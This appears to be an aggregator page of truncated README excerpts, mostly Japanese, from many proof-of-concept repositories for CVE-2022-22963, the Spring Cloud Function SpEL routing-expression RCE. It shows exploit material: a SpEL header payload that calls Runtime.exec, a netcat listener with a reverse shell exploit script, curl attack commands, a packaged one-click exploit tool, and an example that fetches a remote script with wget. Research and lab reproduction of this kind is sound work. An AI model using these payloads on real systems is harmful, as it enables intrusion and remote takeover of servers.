CVE-2022-22963

CVE-2022-22963 Spring Cloud Function のバージョン 3.1.6、3.2.2 およびそれ以前のバージョンでは、ルーティング機能を使用する際に、ユーザーが特別に細工された SpEL をルーティング式として提供することが可能であり、その結果、リモートコード実行やローカルリソースへのアクセスが生じる可能性があります。 PoC リポジトリをクローンする git clone https://github.com/jrbH4CK/CVE-2022-22963.git フォルダに入る cd CVE-2022-22963 実行権限を変更する chmode +x...

spring-cloud-function-rce

Spring Cloud Function SPEL式注入の脆弱性（CVE-2022-22963） Springフレームワークは、現代のJavaベースのエンタープライズアプリケーション（あらゆるタイプのデプロイプラットフォーム上）に対して、包括的なプログラミングおよび構成モデルを提供します。 Spring CloudのサーバーレスフレームワークであるSpring Cloud...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" build wget...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" 빌드 wget...

CVE-2022-22963

CVE-2022-22963 spring cloud function sple rce spring cloud function ワンクリック利用ツール! by charis ブログ https://charis3306.top/ exeファイルにパッケージ済み、すぐに使用可能 コマンドについて usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url URL --ip IP --port PORT --proxies PROXIES --cmd CMD spring cloud...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring CloudのRCEエクスプロイト CVE 2022-22963 CVE-2022-22963 のエクスプロイト - Spring Cloud Functionにおけるリモートコマンド実行 脆弱性の詳細については、こちら と こちら を参照してください。 PoC 攻撃者のホスト上でnetcatを実行: $ nc -lvnp 9001 攻撃者のホスト上でデフォルトポート 9001 を使用してエクスプロイトを実行する（例）: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-229...

CVE-2022-22963-POC

CVE-2022-22963 エクスプロイト 説明 Spring Cloud Function バージョン 3.1.6、3.2.2 およびサポートされていない古いバージョンでは、ルーティング機能を使用する際に、ユーザーが特別に細工した SpEL を routing-expression として提供することが可能であり、リモートコード実行やローカルリソースへのアクセスを引き起こす可能性があります。詳細は CVE-2022-22963 詳細 を参照してください。 AayushmanThapaMagar が提供した PoC...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC 英語翻訳と検出のために若干修正されています。元のコード: https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py 。デフォルトでは、ターゲット上で whoami が実行され、脆弱な URL を含む vulnerable.txt ファイルが作成されます。 脆弱性の悪用は非常に簡単です。以下に、脆弱性を悪用するための curl コマンドを示します。 curl -i -s -k -X $'POST' -H...

CVE-2022-22963

CVE-2022-22963 - Spring4shell 취약한 SpringBoot 애플리케이션을 실행하려면 이 Docker 컨테이너를 8080 포트에 노출시켜 실행하세요. 예: docker run -it -d -p 8080:8080 bobcheat/springboot-public 익스플로잇 Curl 명령: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

Spring-CVE

Spring CVE これには、Spring SpEL / Expression Resource Access Vulnerability である CVE-2022-22963 と、spring-webmvc/spring-webflux の RCE であり「SpringShell」と称される CVE-2022-22965 が含まれます。 CVE-2022-22963 Spring Cloud Function バージョン 3.1.6、3.2.2、およびサポートされていない旧バージョンでは、ルーティング機能を使用する際に、ユーザーが特別に細工された SpEL を...

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 研究 環境 vulfocus/spring-cloud-function-rce:latest 原因 リクエストヘッダー内の spring.cloud.function.routing-expression パラメータ解析の問題により、Payload注入攻撃が引き起こされます。 参考リンク https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

CVE-2022-22963-Exploit

CVE-2022-22963 エクスプロイト このリポジトリには、Spring Cloud Function バージョン 3.1.6、3.2.2、および古いサポート対象外バージョンで見つかった CVE-2022-22963 脆弱性に対する Rust ベースのエクスプロイトが含まれています。この脆弱性により、ルーティング式として使用される特別に細工された Spring Expression SpEL を介して、リモートでコードが実行され、ローカルリソースにアクセスされる可能性があります。 説明 Spring Cloud Function バージョン...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC 英語翻訳と検出のために若干修正したバージョン（https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py をベース）。デフォルトでは、ターゲット上でwhoamiが実行され、脆弱なURLを含むvulnerable.txtファイルが作成されます。 詳細情報 https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html...

SpringExploitGUI

SpringExploitGUIv1.0 0x01 はじめに ​ 今日、Springの過去のいくつかの脆弱性を再現し、ついでに武器化しました。このツールは現在、Spring Cloud Gateway RCECVE-2022-22947、Spring Cloud Function SpEL RCE CVE-2022-22963、Spring Framework RCE CVE-2022-22965 の検出と利用をサポートしています。現在は最初のバージョンのみであり、今後さらに多くの脆弱性POCや、より多くの永続化利用方法を追加する予定です。 0x02 ツールの使用方法 単一検出 &&...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 ビルド $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day ペイロード...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE エクスプロイト これは、Spring4Shell（CVE-2022-22963）のPython実装です。この脆弱性は、Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Exploit completed $ python exploit.py...

Spring-Cloud-Function-SpEL

Spring-Cloud-Function-SpEL 詳細は個人ブログをご覧ください https://pizz33.github.io/ Spring Cloud Function SpEL式インジェクション用のテスト環境 バージョン java11 で java -jar demo-0.0.1-SNAPSHOT.jar を実行して起動 構築完了後、127.0.0.1:8080ポートにアクセス POST /functionRouter HTTP/1.1 Host: 127.0.0.1:8080 spring.cloud.function.routing-expression:...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function SpEL 式インジェクションによるリモートコード実行脆弱性の検出・悪用ツール。 脆弱性概要 CVE-2022-22963 は、Spring Cloud Function のルーティング機能における重大な RCE 脆弱性（CVSS 9.8）です。アプリケーションで /functionRouter エンドポイントが有効な場合、spring.cloud.function.routing-expression リクエストヘッダの値がそのまま SpEL（Spring Expression...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 Spring-Cloud-Function-SpELRCE脆弱性再現 Docker環境が必要です 脆弱性環境の起動方法1 git clone https://github.com/RanDengShiFu/CVE-2022-22963.git;cd CVE-2022-22963;bash Start.sh 脆弱性環境の起動方法2 rm -rf CVE-2022-22963/;mkdir CVE-2022-22963/;cd CVE-2022-22963/;git clone...

CVE-2022-22963

CVE-2022-22963-Reverse-Shell-Exploit これは、Spring Cloud Function のリモートコード実行の脆弱性である CVE-2022-22963 を悪用する Python スクリプトです。この脆弱性により、攻撃者は脆弱なサーバー上で任意のコードを実行できます。このエクスプロイトは、脆弱な /functionRouter エンドポイントを使用して、ターゲットサーバー上でコマンドを実行します。 使い方 次のコマンドを実行して、必要な Python ライブラリをインストールします: pip3 install requests chmod +x...